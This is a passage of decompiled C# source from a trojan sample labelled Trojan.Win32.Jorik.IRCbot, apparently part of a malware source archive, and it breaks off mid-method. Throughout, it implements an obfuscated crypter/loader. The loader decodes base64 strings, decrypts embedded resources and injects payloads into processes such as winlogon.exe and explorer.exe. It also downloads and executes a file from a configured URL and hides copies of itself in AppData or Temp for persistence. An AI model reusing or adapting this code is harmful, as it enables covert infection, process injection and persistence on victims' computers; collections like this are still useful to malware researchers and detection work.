MalwareSourceCode/MSIL/Trojan/Win32/J/Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881/ykzdtlr5g3unsj1jf/P3gp3nhhay2byunb2ryhhvgoe.cs

507 lines
26 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: ykzdtlr5g3unsj1jf.P3gp3nhhay2byunb2ryhhvgoe
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using yafgsjxsd554wkbwu;
namespace ykzdtlr5g3unsj1jf
{
public class P3gp3nhhay2byunb2ryhhvgoe
{
private static bool N2pqfn3fmbylrnjylgikeibab = true;
private byte[] Ab4hjwwzqrhaf3v15vpkkpwph;
private bool lhavasqwmjebhnrkb;
private string u4v4gxw4pe5ajw5qf;
private string iwz5fw0hekr40lgappdcrryyd;
private string e34zsbjraxk1vdes3 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private int hrkxt4xigw3kvxizwl4brrwla;
private int n5qobr0qrnlc4of4pagdiixxz;
private int J3xftqrouedhph3wmrpbf1oncu42zzn0q;
private string Tz3uteor55zvvw3ge = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WE9S");
private string d3bf3wz4sc5v4l1uxukyagpdo = string.Empty;
private string zb4vgai4ozfhekokbemj5ilfi = string.Empty;
private int Iu4x22rom4nkydifhzb3yhmni;
private string Vwyl4tfmmp0qtt2nzytwwg42o = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Oldfdql3j3j1vq1vwhzdsoqcw = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Tw5ntsv2eana2pzqe5lqgyv32 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Limyy2yppvdupsbadnk4q0zoc = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string h1a0fvzdaev3vkr0g2mjmagor = string.Empty;
private string hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = string.Empty;
private string sxuhsyfp5i3o1u3c2o1ba5lzc = string.Empty;
private string jc3ddo0jvj2a1qr4qhjkghawn = string.Empty;
private string Orshwt0dzuhwbrysau452pffe = string.Empty;
private string mmcqn3cexlxqet2md = string.Empty;
private string gzrw4q4ropicnlotflrdgqtsb = string.Empty;
private string Nwtaknwtei4heb3ubqf0fbjn2 = string.Empty;
private string Opdgky2ixzsslsa5xgb5j5vjn = string.Empty;
private string oeygnuctraxnjd2t2xylgcgwt = string.Empty;
private string qa422swa2bykxxdf3 = string.Empty;
private bool Vxbwuasb5cbqu0zvpzvozkfbp;
private bool Nmtcod3bgkn4wfqbn0clozxtd;
private string Up0yuwtuyztffttj5yifu2dxpvjgi4unh = string.Empty;
private string hv0yanbzazy5y5puhm1rq4npy = string.Empty;
private bool qjgvtp5dxw2xd3cymnnrrpi4q;
private string rsqyen5noyknnubtxp5d4c1pi = string.Empty;
private string Zdcbw51ginpihrigchxl3wtzl = string.Empty;
private string Ylohjohjs0shtk55s = string.Empty;
private string u14rni0civn2slvafa2qidu1h = string.Empty;
private bool Df255bnxscmlyi5ujr2shnrkj;
private bool Tn53mqe3sgob3hnec;
private bool c2sqrdsprj3s5tzrfydeh542igsij0hy3;
private bool Fdnm3i3qwt5xg2kgs51j1ra03;
private object Xxbjvofxfv2devbj0xvdyl3ee;
private MethodInfo kqqsnwgs4puj1jm5mmjm3a2g5;
private byte[] P5v4rqorj401x53a1(byte[] dymmzpkfb2modfqzetrxebfo3, int nsa5c4sobfa0jnubo)
{
GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(dymmzpkfb2modfqzetrxebfo3), CompressionMode.Decompress);
byte[] buffer = new byte[nsa5c4sobfa0jnubo];
gzipStream.Read(buffer, 0, buffer.Length);
return buffer;
}
private object Dmoi5v041lon1gbkzbg1xqlqk(int xywa5vx53hgmo10cmmla01l2fdd0z3xne)
{
System.Type type = Assembly.Load(ybneke5hgomifymim4zvimnpa.Pifnfhcoyavmjbz5u(P3gp3nhhay2byunb2ryhhvgoe.Hjg5kbnhcethgeandl2bwdxqp(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cnVuUEUuZGxs")))).GetTypes()[xywa5vx53hgmo10cmmla01l2fdd0z3xne];
this.kqqsnwgs4puj1jm5mmjm3a2g5 = type.GetMethod(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UnVu"));
return Activator.CreateInstance(type);
}
public static byte[] Hjg5kbnhcethgeandl2bwdxqp(string bjpi5xp3kzpysquxl)
{
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(bjpi5xp3kzpysquxl))
{
byte[] buffer = new byte[1024];
using (MemoryStream memoryStream = new MemoryStream())
{
while (true)
{
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
return memoryStream.ToArray();
}
}
}
private byte[] v32245b3t5yoxhkmr(byte[] zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
if (this.Tz3uteor55zvvw3ge == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("ZXZlbiBqdW1w"))
zlgnctv20qm5r2ybtqdfn4gbuozslhc2z = ybneke5hgomifymim4zvimnpa.Gsfkp23vk2tqje234pmjrnbgq(zlgnctv20qm5r2ybtqdfn4gbuozslhc2z);
return zlgnctv20qm5r2ybtqdfn4gbuozslhc2z;
}
private void ad1vi241wyo23agtvnemgivkyuh243nog()
{
try
{
byte[] numArray = new WebClient().DownloadData(new Uri(this.rsqyen5noyknnubtxp5d4c1pi));
if (this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
{
try
{
if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
}
catch
{
string tempFileName = Path.GetTempFileName();
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, tempFileName, true);
}
}
if (!(this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
return;
string str = this.Ylohjohjs0shtk55s + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.u14rni0civn2slvafa2qidu1h;
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, str, true);
if (this.Df255bnxscmlyi5ujr2shnrkj)
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
if (this.Tn53mqe3sgob3hnec)
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
if (!this.c2sqrdsprj3s5tzrfydeh542igsij0hy3)
return;
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
}
catch (Exception ex)
{
}
}
private static void frlh3hqg1jnxwe2sopvdmz023(byte[] Tbexmamq4ewxxgua4k13v2r3x)
{
try
{
Thread thread = new Thread(new ParameterizedThreadStart(P3gp3nhhay2byunb2ryhhvgoe.E1urnfsltryk1ub0xb2rcju41));
thread.SetApartmentState(ApartmentState.STA);
thread.Start((object) Tbexmamq4ewxxgua4k13v2r3x);
thread.Join();
}
catch
{
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
}
}
private static void E1urnfsltryk1ub0xb2rcju41(object tzpsm05tmzmi3bezi2upra2uf)
{
try
{
MethodInfo entryPoint = Assembly.Load((byte[]) tzpsm05tmzmi3bezi2upra2uf).EntryPoint;
if (entryPoint.GetParameters().Length == 1)
entryPoint.Invoke((object) null, new object[1]
{
(object) new string[0]
});
else
entryPoint.Invoke((object) null, (object[]) null);
}
catch
{
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
}
}
private bool jeaq3uqx2h3t0mra1g4rmu1sp(byte[] Lbmqdee0u2phj1cdi)
{
P3gp3nhhay2byunb2ryhhvgoe.frlh3hqg1jnxwe2sopvdmz023(Lbmqdee0u2phj1cdi);
bool n2pqfn3fmbylrnjylgikeibab = P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab;
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = true;
return n2pqfn3fmbylrnjylgikeibab;
}
private void zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(
byte[] Sshq13ovclviqcbegjyc4fwr4,
string t2qn4ig5r5fe30uf0gvlqyjei,
bool Lbtar3b3sd1metciol2mkuazk)
{
try
{
System.IO.File.WriteAllBytes(t2qn4ig5r5fe30uf0gvlqyjei, Sshq13ovclviqcbegjyc4fwr4);
if (!Lbtar3b3sd1metciol2mkuazk)
return;
new Process()
{
StartInfo = {
FileName = t2qn4ig5r5fe30uf0gvlqyjei
}
}.Start();
}
catch
{
}
}
private byte[] rmq04qrgvymsnxnzaauclonz4(
string Ltuz1taoidfnt0bdx,
int Uwk5bivcwhq53vx32gcreg4yc,
string ipo3kpah5ljwlkcut3hjqipgb)
{
try
{
IntPtr hModule = Vzc1okmpravdrvlvo.Jmqtpodci2jfhcs0m1s2np21r(string.Empty);
IntPtr hResInfo = Vzc1okmpravdrvlvo.Yfjiajv5pdhoc2cbb(hModule, Uwk5bivcwhq53vx32gcreg4yc, ipo3kpah5ljwlkcut3hjqipgb);
uint length = Vzc1okmpravdrvlvo.W3i1m50ffqcqq5vjpqt4xlhuc(hModule, hResInfo);
IntPtr source = Vzc1okmpravdrvlvo.Xgfqdr5fofcy3fmbo(hModule, hResInfo);
byte[] destination = new byte[(IntPtr) length];
Marshal.Copy(source, destination, 0, (int) length);
return destination;
}
catch (Exception ex)
{
Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgcmVhZGluZyByZXNvdXJjZTog") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
return (byte[]) null;
}
}
private string Vwoud00pmabg3i5prcffnctpqgmjn2lsz(string lhmtwvqb3lumfpzit)
{
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwbGljYXRpb24gUGF0aA=="))
lhmtwvqb3lumfpzit = Application.StartupPath;
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VGVtcA=="))
lhmtwvqb3lumfpzit = Path.GetTempPath();
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwRGF0YQ=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TXkgRG9jdW1lbnRz"))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RGVza3RvcA=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VXNlciBQcm9maWxl"))
lhmtwvqb3lumfpzit = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VVNFUlBST0ZJTEU="));
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UHJvZ3JhbSBGaWxlcw=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
return lhmtwvqb3lumfpzit;
}
private string z4oikbmtsyvcgjshpb1o3xomb(string Xvvoluc4blezdur2w)
{
string str = string.Empty;
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
str = Path.GetTempPath();
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("Mg=="))
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
return str;
}
private void yi4a12p1lqcxa2d2ckkuwmx2y(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
string[] separator1 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bmxoZzVhenhhc2dwcmR0cGw0bTVsaDVoNQ==")
};
string[] separator2 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cjR5NGxwcjNhemRtZmoxNXh5Z3NzNHNrNA==")
};
string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
string empty1 = string.Empty;
string empty2 = string.Empty;
string empty3 = string.Empty;
for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
{
string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
byte[] numArray = xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.P0vqw5dxvbkxvsohiqrze00bk(strArray2[1]);
string str1 = strArray2[2];
bool boolean1 = Convert.ToBoolean(strArray2[3]);
string lhmtwvqb3lumfpzit = strArray2[4];
bool boolean2 = Convert.ToBoolean(strArray2[5]);
bool boolean3 = Convert.ToBoolean(strArray2[6]);
int int32 = Convert.ToInt32(strArray2[7]);
bool boolean4 = Convert.ToBoolean(strArray2[8]);
string str2 = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(lhmtwvqb3lumfpzit);
if (boolean1)
{
if (boolean3)
numArray = this.P5v4rqorj401x53a1(numArray, int32);
if (boolean2)
numArray = this.v32245b3t5yoxhkmr(numArray);
if (!boolean4)
{
try
{
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
}
catch (Exception ex)
{
Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgaW50byBtZW1vcnk6IA==") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
}
}
else if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgdXNpbmcgcmVmbGVjdGlvbjog"));
}
else
{
string t2qn4ig5r5fe30uf0gvlqyjei = str2 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + str1;
if (boolean2)
numArray = this.v32245b3t5yoxhkmr(numArray);
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, t2qn4ig5r5fe30uf0gvlqyjei, true);
}
}
}
private void D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
string[] separator1 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("c2l1cGlpbnkybnNvam1pZDMyenZ4MmxmaQ==")
};
string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
string[] separator2 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WGtmb2pic20zZ2hpMXN5d2s=")
};
string[] strArray2 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator2, StringSplitOptions.None);
string[] separator3 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("S2RjcXYxdGFzYWNlc2dtYWQ=")
};
string[] strArray3 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator3, StringSplitOptions.None);
string[] separator4 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cmFxY3Z5ZHdvaXdsMnNjYWdhZHkzcXlzMw==")
};
string[] strArray4 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator4, StringSplitOptions.None);
this.e34zsbjraxk1vdes3 = strArray1[1];
this.u4v4gxw4pe5ajw5qf = strArray1[2];
this.iwz5fw0hekr40lgappdcrryyd = strArray1[3];
this.hrkxt4xigw3kvxizwl4brrwla = Convert.ToInt32(strArray1[4]);
this.n5qobr0qrnlc4of4pagdiixxz = Convert.ToInt32(strArray1[5]);
this.J3xftqrouedhph3wmrpbf1oncu42zzn0q = Convert.ToInt32(strArray1[6]);
this.Tz3uteor55zvvw3ge = strArray2[1];
this.d3bf3wz4sc5v4l1uxukyagpdo = strArray2[2];
this.zb4vgai4ozfhekokbemj5ilfi = strArray2[3];
this.Iu4x22rom4nkydifhzb3yhmni = Convert.ToInt32(strArray3[1]);
this.Vwyl4tfmmp0qtt2nzytwwg42o = strArray3[2];
this.Oldfdql3j3j1vq1vwhzdsoqcw = strArray3[3];
this.Tw5ntsv2eana2pzqe5lqgyv32 = strArray3[4];
this.Limyy2yppvdupsbadnk4q0zoc = strArray3[5];
this.h1a0fvzdaev3vkr0g2mjmagor = strArray3[6];
this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = strArray3[7];
this.sxuhsyfp5i3o1u3c2o1ba5lzc = strArray3[8];
this.jc3ddo0jvj2a1qr4qhjkghawn = strArray3[9];
this.Orshwt0dzuhwbrysau452pffe = strArray3[10];
this.mmcqn3cexlxqet2md = strArray3[11];
this.gzrw4q4ropicnlotflrdgqtsb = this.z4oikbmtsyvcgjshpb1o3xomb(strArray3[12]);
this.Nwtaknwtei4heb3ubqf0fbjn2 = strArray3[13];
this.Opdgky2ixzsslsa5xgb5j5vjn = strArray3[14];
this.oeygnuctraxnjd2t2xylgcgwt = strArray3[15];
this.Vxbwuasb5cbqu0zvpzvozkfbp = Convert.ToBoolean(strArray3[16]);
this.Nmtcod3bgkn4wfqbn0clozxtd = Convert.ToBoolean(strArray3[17]);
this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(strArray3[18]) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + Path.GetRandomFileName();
this.qa422swa2bykxxdf3 = strArray3[19];
this.hv0yanbzazy5y5puhm1rq4npy = strArray3[20];
this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Substring(0, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Length - 4) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("LmV4ZQ==");
string str = Environment.SystemDirectory + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XA==");
switch (this.hv0yanbzazy5y5puhm1rq4npy)
{
case "0":
try
{
this.hv0yanbzazy5y5puhm1rq4npy = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrNjRcdjIuMC41MDcyN1x2YmMuZXhl") : Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrXHYyLjAuNTA3MjdcdmJjLmV4ZQ==");
break;
}
catch (Exception ex)
{
break;
}
case "1":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2lubG9nb24uZXhl");
break;
case "2":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("dGFza21nci5leGU=");
break;
case "3":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bm90ZXBhZC5leGU=");
break;
case "4":
this.hv0yanbzazy5y5puhm1rq4npy = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XGV4cGxvcmVyLmV4ZQ==");
break;
}
this.qjgvtp5dxw2xd3cymnnrrpi4q = Convert.ToBoolean(strArray4[1]);
this.rsqyen5noyknnubtxp5d4c1pi = strArray4[2];
this.Zdcbw51ginpihrigchxl3wtzl = strArray4[3];
this.Ylohjohjs0shtk55s = strArray4[4];
this.u14rni0civn2slvafa2qidu1h = strArray4[5];
this.Df255bnxscmlyi5ujr2shnrkj = Convert.ToBoolean(strArray4[6]);
this.Tn53mqe3sgob3hnec = Convert.ToBoolean(strArray4[7]);
this.c2sqrdsprj3s5tzrfydeh542igsij0hy3 = Convert.ToBoolean(strArray4[8]);
this.Fdnm3i3qwt5xg2kgs51j1ra03 = Convert.ToBoolean(strArray4[9]);
MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
{
MessageBoxButtons.OK,
MessageBoxButtons.OKCancel,
MessageBoxButtons.YesNo,
MessageBoxButtons.YesNoCancel,
MessageBoxButtons.RetryCancel,
MessageBoxButtons.AbortRetryIgnore
};
MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
{
MessageBoxIcon.Hand,
MessageBoxIcon.Asterisk,
MessageBoxIcon.Question,
MessageBoxIcon.Exclamation,
MessageBoxIcon.None
};
if (!(this.e34zsbjraxk1vdes3 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
return;
Thread.Sleep(this.J3xftqrouedhph3wmrpbf1oncu42zzn0q * 1000);
int num = (int) MessageBox.Show(this.u4v4gxw4pe5ajw5qf, this.iwz5fw0hekr40lgappdcrryyd, messageBoxButtonsArray[this.hrkxt4xigw3kvxizwl4brrwla], messageBoxIconArray[this.n5qobr0qrnlc4of4pagdiixxz]);
}
public void Detxmohej30sq5rdtby5aviwjiokh2gif()
{
string executablePath = Application.ExecutablePath;
try
{
this.D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 28, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UDNYQk5XVURZMllWRk1FRzA="))));
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.rmq04qrgvymsnxnzaauclonz4(executablePath, 53, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SzBUWUNNUENCRDNMM1RMQ1E1S0VXWDRBUg=="));
if (this.Vwyl4tfmmp0qtt2nzytwwg42o == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.P5v4rqorj401x53a1(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Iu4x22rom4nkydifhzb3yhmni);
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.v32245b3t5yoxhkmr(this.Ab4hjwwzqrhaf3v15vpkkpwph);
if (!this.Vxbwuasb5cbqu0zvpzvozkfbp)
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
else
this.jeaq3uqx2h3t0mra1g4rmu1sp(this.Ab4hjwwzqrhaf3v15vpkkpwph);
if (this.Nmtcod3bgkn4wfqbn0clozxtd)
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh, true);
if (this.Oldfdql3j3j1vq1vwhzdsoqcw == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.sxuhsyfp5i3o1u3c2o1ba5lzc, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 1);
if (this.Tw5ntsv2eana2pzqe5lqgyv32 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.jc3ddo0jvj2a1qr4qhjkghawn, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 2);
if (this.Limyy2yppvdupsbadnk4q0zoc == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z, this.Orshwt0dzuhwbrysau452pffe, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 3);
string path;
if (!string.IsNullOrEmpty(this.qa422swa2bykxxdf3))
{
path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
Directory.CreateDirectory(this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3);
}
else
path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
if (this.lhavasqwmjebhnrkb)
{
byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
if (!System.IO.File.Exists(path))
System.IO.File.WriteAllBytes(path, bytes);
if (System.IO.File.Exists(path))
{
if (this.Nwtaknwtei4heb3ubqf0fbjn2 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.Hidden);
if (this.Opdgky2ixzsslsa5xgb5j5vjn == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.ReadOnly);
if (this.oeygnuctraxnjd2t2xylgcgwt == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.System);
}
}
this.yi4a12p1lqcxa2d2ckkuwmx2y(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 98, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SjJNVTRWTVhWUkpJS1ZPVFlaMTQ1VU5TWkQxS0NCT1ZJ"))));
